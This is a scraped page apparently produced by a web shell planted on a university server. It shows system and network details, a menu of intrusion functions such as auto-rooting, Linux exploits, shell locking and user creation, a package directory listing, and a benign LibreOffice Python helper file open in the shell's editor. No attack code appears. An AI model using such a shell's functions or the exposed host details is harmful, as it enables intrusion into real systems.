Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
[ HOME SHELL ]
Name
Size
Permission
Action
apport
[ DIR ]
drwxr-xr-x
apt
[ DIR ]
drwxr-xr-x
aptdaemon
[ DIR ]
drwxr-xr-x
apt_inst-stubs
[ DIR ]
drwxr-xr-x
apt_pkg-stubs
[ DIR ]
drwxr-xr-x
aptsources
[ DIR ]
drwxr-xr-x
AptUrl
[ DIR ]
drwxr-xr-x
bcrypt
[ DIR ]
drwxr-xr-x
bcrypt-3.2.0.egg-info
[ DIR ]
drwxr-xr-x
blinker
[ DIR ]
drwxr-xr-x
cairo
[ DIR ]
drwxr-xr-x
certifi
[ DIR ]
drwxr-xr-x
certifi-2020.6.20.egg-info
[ DIR ]
drwxr-xr-x
chardet
[ DIR ]
drwxr-xr-x
chardet-4.0.0.egg-info
[ DIR ]
drwxr-xr-x
click
[ DIR ]
drwxr-xr-x
click-8.0.3.egg-info
[ DIR ]
drwxr-xr-x
colorama
[ DIR ]
drwxr-xr-x
colorama-0.4.4.egg-info
[ DIR ]
drwxr-xr-x
CommandNotFound
[ DIR ]
drwxr-xr-x
cryptography
[ DIR ]
drwxr-xr-x
cryptography-3.4.8.egg-info
[ DIR ]
drwxr-xr-x
cupshelpers
[ DIR ]
drwxr-xr-x
dateutil
[ DIR ]
drwxr-xr-x
dbus
[ DIR ]
drwxr-xr-x
dbus_python-1.2.18.egg-info
[ DIR ]
drwxr-xr-x
debian
[ DIR ]
drwxr-xr-x
debian_bundle
[ DIR ]
drwxr-xr-x
defer
[ DIR ]
drwxr-xr-x
defer-1.0.6.egg-info
[ DIR ]
drwxr-xr-x
distro
[ DIR ]
drwxr-xr-x
distro-1.7.0.egg-info
[ DIR ]
drwxr-xr-x
distro_info-1.1+ubuntu0.2.egg-info
[ DIR ]
drwxr-xr-x
DistUpgrade
[ DIR ]
drwxr-xr-x
duplicity
[ DIR ]
drwxr-xr-x
duplicity-0.8.21.egg-info
[ DIR ]
drwxr-xr-x
fasteners
[ DIR ]
drwxr-xr-x
fasteners-0.14.1.egg-info
[ DIR ]
drwxr-xr-x
future
[ DIR ]
drwxr-xr-x
future-0.18.2.egg-info
[ DIR ]
drwxr-xr-x
gi
[ DIR ]
drwxr-xr-x
google
[ DIR ]
drwxr-xr-x
httplib2
[ DIR ]
drwxr-xr-x
httplib2-0.20.2.egg-info
[ DIR ]
drwxr-xr-x
HweSupportStatus
[ DIR ]
drwxr-xr-x
idna
[ DIR ]
drwxr-xr-x
idna-3.3.egg-info
[ DIR ]
drwxr-xr-x
importlib_metadata
[ DIR ]
drwxr-xr-x
importlib_metadata-4.6.4.egg-info
[ DIR ]
drwxr-xr-x
janitor
[ DIR ]
drwxr-xr-x
jeepney
[ DIR ]
drwxr-xr-x
jeepney-0.7.1.dist-info
[ DIR ]
drwxr-xr-x
jwt
[ DIR ]
drwxr-xr-x
keyring
[ DIR ]
drwxr-xr-x
keyring-23.5.0.egg-info
[ DIR ]
drwxr-xr-x
LanguageSelector
[ DIR ]
drwxr-xr-x
language_selector-0.1.egg-info
[ DIR ]
drwxr-xr-x
launchpadlib
[ DIR ]
drwxr-xr-x
launchpadlib-1.10.16.egg-info
[ DIR ]
drwxr-xr-x
lazr
[ DIR ]
drwxr-xr-x
lazr.restfulclient-0.14.4.egg-info
[ DIR ]
drwxr-xr-x
lazr.uri-1.0.6.egg-info
[ DIR ]
drwxr-xr-x
libfuturize
[ DIR ]
drwxr-xr-x
libpasteurize
[ DIR ]
drwxr-xr-x
lockfile
[ DIR ]
drwxr-xr-x
lockfile-0.12.2.egg-info
[ DIR ]
drwxr-xr-x
louis
[ DIR ]
drwxr-xr-x
macaroonbakery
[ DIR ]
drwxr-xr-x
macaroonbakery-1.3.1.egg-info
[ DIR ]
drwxr-xr-x
mako
[ DIR ]
drwxr-xr-x
Mako-1.1.3-py3.10.egg-info
[ DIR ]
drwxr-xr-x
markupsafe
[ DIR ]
drwxr-xr-x
MarkupSafe-2.0.1.egg-info
[ DIR ]
drwxr-xr-x
monotonic-1.6.egg-info
[ DIR ]
drwxr-xr-x
more_itertools
[ DIR ]
drwxr-xr-x
more_itertools-8.10.0.egg-info
[ DIR ]
drwxr-xr-x
nacl
[ DIR ]
drwxr-xr-x
netifaces-0.11.0.egg-info
[ DIR ]
drwxr-xr-x
NvidiaDetector
[ DIR ]
drwxr-xr-x
oauthlib
[ DIR ]
drwxr-xr-x
oauthlib-3.2.0.egg-info
[ DIR ]
drwxr-xr-x
olefile
[ DIR ]
drwxr-xr-x
olefile-0.46.egg-info
[ DIR ]
drwxr-xr-x
orca
[ DIR ]
drwxr-xr-x
paramiko
[ DIR ]
drwxr-xr-x
paramiko-2.9.3.egg-info
[ DIR ]
drwxr-xr-x
past
[ DIR ]
drwxr-xr-x
pexpect
[ DIR ]
drwxr-xr-x
PIL
[ DIR ]
drwxr-xr-x
Pillow-9.0.1.egg-info
[ DIR ]
drwxr-xr-x
pkg_resources
[ DIR ]
drwxr-xr-x
protobuf-3.12.4.egg-info
[ DIR ]
drwxr-xr-x
ptyprocess
[ DIR ]
drwxr-xr-x
ptyprocess-0.7.0.dist-info
[ DIR ]
drwxr-xr-x
pyatspi
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
PyGObject-3.42.1.egg-info
[ DIR ]
drwxr-xr-x
pygtkcompat
[ DIR ]
drwxr-xr-x
PyJWT-2.3.0.egg-info
[ DIR ]
drwxr-xr-x
pymacaroons
[ DIR ]
drwxr-xr-x
pymacaroons-0.13.0.egg-info
[ DIR ]
drwxr-xr-x
PyNaCl-1.5.0.dist-info
[ DIR ]
drwxr-xr-x
pyparsing-2.4.7.egg-info
[ DIR ]
drwxr-xr-x
pyrfc3339
[ DIR ]
drwxr-xr-x
pyRFC3339-1.1.egg-info
[ DIR ]
drwxr-xr-x
python_apt-2.4.0+ubuntu4.egg-info
[ DIR ]
drwxr-xr-x
python_dateutil-2.8.1.egg-info
[ DIR ]
drwxr-xr-x
python_debian-0.1.43+ubuntu1.1.egg-info
[ DIR ]
drwxr-xr-x
pytz
[ DIR ]
drwxr-xr-x
pytz-2022.1.egg-info
[ DIR ]
drwxr-xr-x
pyxdg-0.27.egg-info
[ DIR ]
drwxr-xr-x
PyYAML-5.4.1.egg-info
[ DIR ]
drwxr-xr-x
Quirks
[ DIR ]
drwxr-xr-x
reportlab
[ DIR ]
drwxr-xr-x
reportlab-3.6.8.egg-info
[ DIR ]
drwxr-xr-x
requests
[ DIR ]
drwxr-xr-x
requests-2.25.1.egg-info
[ DIR ]
drwxr-xr-x
secretstorage
[ DIR ]
drwxr-xr-x
SecretStorage-3.3.1.egg-info
[ DIR ]
drwxr-xr-x
six-1.16.0.egg-info
[ DIR ]
drwxr-xr-x
softwareproperties
[ DIR ]
drwxr-xr-x
speechd
[ DIR ]
drwxr-xr-x
speechd_config
[ DIR ]
drwxr-xr-x
ssh_import_id
[ DIR ]
drwxr-xr-x
ssh_import_id-5.11.egg-info
[ DIR ]
drwxr-xr-x
systemd
[ DIR ]
drwxr-xr-x
uaclient
[ DIR ]
drwxr-xr-x
UbuntuDrivers
[ DIR ]
drwxr-xr-x
ubuntu_drivers_common-0.0.0.egg-info
[ DIR ]
drwxr-xr-x
ubuntu_pro_client-8001.egg-info
[ DIR ]
drwxr-xr-x
ufw
[ DIR ]
drwxr-xr-x
unattended_upgrades-0.1.egg-info
[ DIR ]
drwxr-xr-x
UpdateManager
[ DIR ]
drwxr-xr-x
urllib3
[ DIR ]
drwxr-xr-x
urllib3-1.26.5.egg-info
[ DIR ]
drwxr-xr-x
usbcreator
[ DIR ]
drwxr-xr-x
wadllib
[ DIR ]
drwxr-xr-x
wadllib-1.3.6.egg-info
[ DIR ]
drwxr-xr-x
xdg
[ DIR ]
drwxr-xr-x
xkit
[ DIR ]
drwxr-xr-x
_yaml
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
zipp-1.0.0.egg-info
[ DIR ]
drwxr-xr-x
apport_python_hook.py
7.87
KB
-rw-r--r--
apt_inst.cpython-310-x86_64-linux-gnu.so
58.66
KB
-rw-r--r--
apt_pkg.cpython-310-x86_64-linux-gnu.so
338.96
KB
-rw-r--r--
apturl-0.5.2.egg-info
180
B
-rw-r--r--
blinker-1.4.egg-info
3.81
KB
-rw-r--r--
Brlapi-0.8.3.egg-info
243
B
-rw-r--r--
brlapi.cpython-310-x86_64-linux-gnu.so
270.96
KB
-rw-r--r--
_cffi_backend.cpython-310-x86_64-linux-gnu.so
189.91
KB
-rw-r--r--
command_not_found-0.3.egg-info
189
B
-rw-r--r--
cups.cpython-310-x86_64-linux-gnu.so
196.14
KB
-rw-r--r--
cupsext.cpython-310-x86_64-linux-gnu.so
45.02
KB
-rw-r--r--
cupshelpers-1.0-py3.10.egg-info
231
B
-rw-r--r--
_dbus_bindings.cpython-310-x86_64-linux-gnu.so
164.21
KB
-rw-r--r--
_dbus_glib_bindings.cpython-310-x86_64-linux-gnu.so
22.5
KB
-rw-r--r--
deb822.py
273
B
-rw-r--r--
debconf.py
6.61
KB
-rw-r--r--
distro_info.py
12.23
KB
-rw-r--r--
hpmudext.cpython-310-x86_64-linux-gnu.so
18.83
KB
-rw-r--r--
language_support_pkgs.py
9.7
KB
-rw-r--r--
ldb.cpython-310-x86_64-linux-gnu.so
102.24
KB
-rw-r--r--
_ldb_text.py
3.45
KB
-rw-r--r--
louis-3.20.0.egg-info
527
B
-rw-r--r--
lsb_release.py
14.55
KB
-rw-r--r--
monotonic.py
7
KB
-rw-r--r--
netifaces.cpython-310-x86_64-linux-gnu.so
22.69
KB
-rw-r--r--
pcardext.cpython-310-x86_64-linux-gnu.so
22.64
KB
-rw-r--r--
pexpect-4.8.0.egg-info
2.23
KB
-rw-r--r--
problem_report.py
26.24
KB
-rw-r--r--
pycairo-1.20.1.egg-info
3.52
KB
-rw-r--r--
pycups-2.0.1.egg-info
1.27
KB
-rw-r--r--
pyparsing.py
266.96
KB
-rw-r--r--
scanext.cpython-310-x86_64-linux-gnu.so
23.34
KB
-rw-r--r--
six.py
33.74
KB
-rw-r--r--
systemd_python-234.egg-info
586
B
-rw-r--r--
talloc.cpython-310-x86_64-linux-gnu.so
15.63
KB
-rw-r--r--
ufw-0.36.1.egg-info
263
B
-rw-r--r--
unohelper.py
10.7
KB
-rw-r--r--
uno.py
16.79
KB
-rw-r--r--
usb_creator-0.3.7.egg-info
219
B
-rw-r--r--
xdg-5.egg-info
201
B
-rw-r--r--
xkit-0.0.0.egg-info
266
B
-rw-r--r--
zipp.py
6.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : unohelper.py
# -*- tab-width: 4; indent-tabs-mode: nil; py-indent-offset: 4 -*- # # This file is part of the LibreOffice project. # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # # This file incorporates work covered by the following license notice: # # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed # with this work for additional information regarding copyright # ownership. The ASF licenses this file to you under the Apache # License, Version 2.0 (the "License"); you may not use this file # except in compliance with the License. You may obtain a copy of # the License at http://www.apache.org/licenses/LICENSE-2.0 . # import uno import pyuno import os import sys from com.sun.star.lang import XTypeProvider, XSingleComponentFactory, XServiceInfo from com.sun.star.uno import RuntimeException, XCurrentContext from com.sun.star.beans.MethodConcept import ALL as METHOD_CONCEPT_ALL from com.sun.star.beans.PropertyConcept import ALL as PROPERTY_CONCEPT_ALL from com.sun.star.reflection.ParamMode import \ IN as PARAM_MODE_IN, \ OUT as PARAM_MODE_OUT, \ INOUT as PARAM_MODE_INOUT from com.sun.star.beans.PropertyAttribute import \ MAYBEVOID as PROP_ATTR_MAYBEVOID, \ BOUND as PROP_ATTR_BOUND, \ CONSTRAINED as PROP_ATTR_CONSTRAINED, \ TRANSIENT as PROP_ATTR_TRANSIENT, \ READONLY as PROP_ATTR_READONLY, \ MAYBEAMBIGUOUS as PROP_ATTR_MAYBEAMBIGUOUS, \ MAYBEDEFAULT as PROP_ATTR_MAYBEDEFAULT, \ REMOVABLE as PROP_ATTR_REMOVABLE def _mode_to_str( mode ): ret = "[]" if mode == PARAM_MODE_INOUT: ret = "[inout]" elif mode == PARAM_MODE_OUT: ret = "[out]" elif mode == PARAM_MODE_IN: ret = "[in]" return ret def _propertymode_to_str( mode ): ret = "" if PROP_ATTR_REMOVABLE & mode: ret = ret + "removable " if PROP_ATTR_MAYBEDEFAULT & mode: ret = ret + "maybedefault " if PROP_ATTR_MAYBEAMBIGUOUS & mode: ret = ret + "maybeambiguous " if PROP_ATTR_READONLY & mode: ret = ret + "readonly " if PROP_ATTR_TRANSIENT & mode: ret = ret + "transient " if PROP_ATTR_CONSTRAINED & mode: ret = ret + "constrained " if PROP_ATTR_BOUND & mode: ret = ret + "bound " if PROP_ATTR_MAYBEVOID & mode: ret = ret + "maybevoid " return ret.rstrip() def inspect( obj , out ): if isinstance( obj, uno.Type ) or \ isinstance( obj, uno.Char ) or \ isinstance( obj, uno.Bool ) or \ isinstance( obj, uno.ByteSequence ) or \ isinstance( obj, uno.Enum ) or \ isinstance( obj, uno.Any ): out.write( str(obj) + "\n") return ctx = uno.getComponentContext() introspection = \ ctx.ServiceManager.createInstanceWithContext( "com.sun.star.beans.Introspection", ctx ) out.write( "Supported services:\n" ) if hasattr( obj, "getSupportedServiceNames" ): names = obj.getSupportedServiceNames() for ii in names: out.write( " " + ii + "\n" ) else: out.write( " unknown\n" ) out.write( "Interfaces:\n" ) if hasattr( obj, "getTypes" ): interfaces = obj.getTypes() for ii in interfaces: out.write( " " + ii.typeName + "\n" ) else: out.write( " unknown\n" ) access = introspection.inspect( obj ) methods = access.getMethods( METHOD_CONCEPT_ALL ) out.write( "Methods:\n" ) for ii in methods: out.write( " " + ii.ReturnType.Name + " " + ii.Name ) args = ii.ParameterTypes infos = ii.ParameterInfos out.write( "( " ) for i in range( 0, len( args ) ): if i > 0: out.write( ", " ) out.write( _mode_to_str( infos[i].aMode ) + " " + args[i].Name + " " + infos[i].aName ) out.write( " )\n" ) props = access.getProperties( PROPERTY_CONCEPT_ALL ) out.write ("Properties:\n" ) for ii in props: out.write( " ("+_propertymode_to_str( ii.Attributes ) + ") "+ii.Type.typeName+" "+ii.Name+ "\n" ) def createSingleServiceFactory( clazz, implementationName, serviceNames ): return _FactoryHelper_( clazz, implementationName, serviceNames ) class _ImplementationHelperEntry: def __init__(self, ctor,serviceNames): self.ctor = ctor self.serviceNames = serviceNames class ImplementationHelper: def __init__(self): self.impls = {} def addImplementation( self, ctor, implementationName, serviceNames ): self.impls[implementationName] = _ImplementationHelperEntry(ctor,serviceNames) def writeRegistryInfo( self, regKey, smgr ): for i in list(self.impls.items()): keyName = "/"+ i[0] + "/UNO/SERVICES" key = regKey.createKey( keyName ) for serviceName in i[1].serviceNames: key.createKey( serviceName ) return 1 def getComponentFactory( self, implementationName , regKey, smgr ): entry = self.impls.get( implementationName, None ) if entry is None: raise RuntimeException( implementationName + " is unknown" , None ) return createSingleServiceFactory( entry.ctor, implementationName, entry.serviceNames ) def getSupportedServiceNames( self, implementationName ): entry = self.impls.get( implementationName, None ) if entry is None: raise RuntimeException( implementationName + " is unknown" , None ) return entry.serviceNames def supportsService( self, implementationName, serviceName ): entry = self.impls.get( implementationName,None ) if entry is None: raise RuntimeException( implementationName + " is unknown", None ) return serviceName in entry.serviceNames class ImplementationEntry: def __init__(self, implName, supportedServices, clazz ): self.implName = implName self.supportedServices = supportedServices self.clazz = clazz def writeRegistryInfoHelper( smgr, regKey, seqEntries ): for entry in seqEntries: keyName = "/"+ entry.implName + "/UNO/SERVICES" key = regKey.createKey( keyName ) for serviceName in entry.supportedServices: key.createKey( serviceName ) def systemPathToFileUrl( systemPath ): "returns a file-url for the given system path" return pyuno.systemPathToFileUrl( systemPath ) def fileUrlToSystemPath( url ): "returns a system path (determined by the system, the python interpreter is running on)" return pyuno.fileUrlToSystemPath( url ) def absolutize( path, relativeUrl ): "returns an absolute file url from the given urls" return pyuno.absolutize( path, relativeUrl ) def getComponentFactoryHelper( implementationName, smgr, regKey, seqEntries ): for x in seqEntries: if x.implName == implementationName: return createSingleServiceFactory( x.clazz, implementationName, x.supportedServices ) def addComponentsToContext( toBeExtendedContext, contextRuntime, componentUrls, loaderName ): smgr = contextRuntime.ServiceManager loader = smgr.createInstanceWithContext( loaderName, contextRuntime ) implReg = smgr.createInstanceWithContext( "com.sun.star.registry.ImplementationRegistration",contextRuntime) isWin = os.name == 'nt' or os.name == 'dos' isMac = sys.platform == 'darwin' # create a temporary registry for componentUrl in componentUrls: reg = smgr.createInstanceWithContext( "com.sun.star.registry.SimpleRegistry", contextRuntime ) reg.open( "", 0, 1 ) if not isWin and componentUrl.endswith( ".uno" ): # still allow platform independent naming if isMac: componentUrl = componentUrl + ".dylib" else: componentUrl = componentUrl + ".so" implReg.registerImplementation( loaderName,componentUrl, reg ) rootKey = reg.getRootKey() implementationKey = rootKey.openKey( "IMPLEMENTATIONS" ) implNames = implementationKey.getKeyNames() extSMGR = toBeExtendedContext.ServiceManager for x in implNames: fac = loader.activate( max(x.split("/")),"",componentUrl,rootKey) extSMGR.insert( fac ) reg.close() # never shrinks ! _g_typeTable = {} def _unohelper_getHandle( self): ret = None if self.__class__ in _g_typeTable: ret = _g_typeTable[self.__class__] else: names = {} traverse = list(self.__class__.__bases__) while len( traverse ) > 0: item = traverse.pop() bases = item.__bases__ if uno.isInterface( item ): names[item.__pyunointerface__] = None elif len(bases) > 0: # the "else if", because we only need the most derived interface traverse = traverse + list(bases)# lst = list(names.keys()) types = [] for x in lst: t = uno.getTypeByName( x ) types.append( t ) ret = tuple(types) _g_typeTable[self.__class__] = ret return ret class Base(XTypeProvider): def getTypes( self ): return _unohelper_getHandle( self ) def getImplementationId(self): return () class CurrentContext(XCurrentContext, Base ): """a current context implementation, which first does a lookup in the given hashmap and if the key cannot be found, it delegates to the predecessor if available """ def __init__( self, oldContext, hashMap ): self.hashMap = hashMap self.oldContext = oldContext def getValueByName( self, name ): if name in self.hashMap: return self.hashMap[name] elif self.oldContext is not None: return self.oldContext.getValueByName( name ) else: return None # ------------------------------------------------- # implementation details # ------------------------------------------------- class _FactoryHelper_( XSingleComponentFactory, XServiceInfo, Base ): def __init__( self, clazz, implementationName, serviceNames ): self.clazz = clazz self.implementationName = implementationName self.serviceNames = serviceNames def getImplementationName( self ): return self.implementationName def supportsService( self, ServiceName ): return ServiceName in self.serviceNames def getSupportedServiceNames( self ): return self.serviceNames def createInstanceWithContext( self, context ): return self.clazz( context ) def createInstanceWithArgumentsAndContext( self, args, context ): return self.clazz( context, *args ) # vim: set shiftwidth=4 softtabstop=4 expandtab:
Close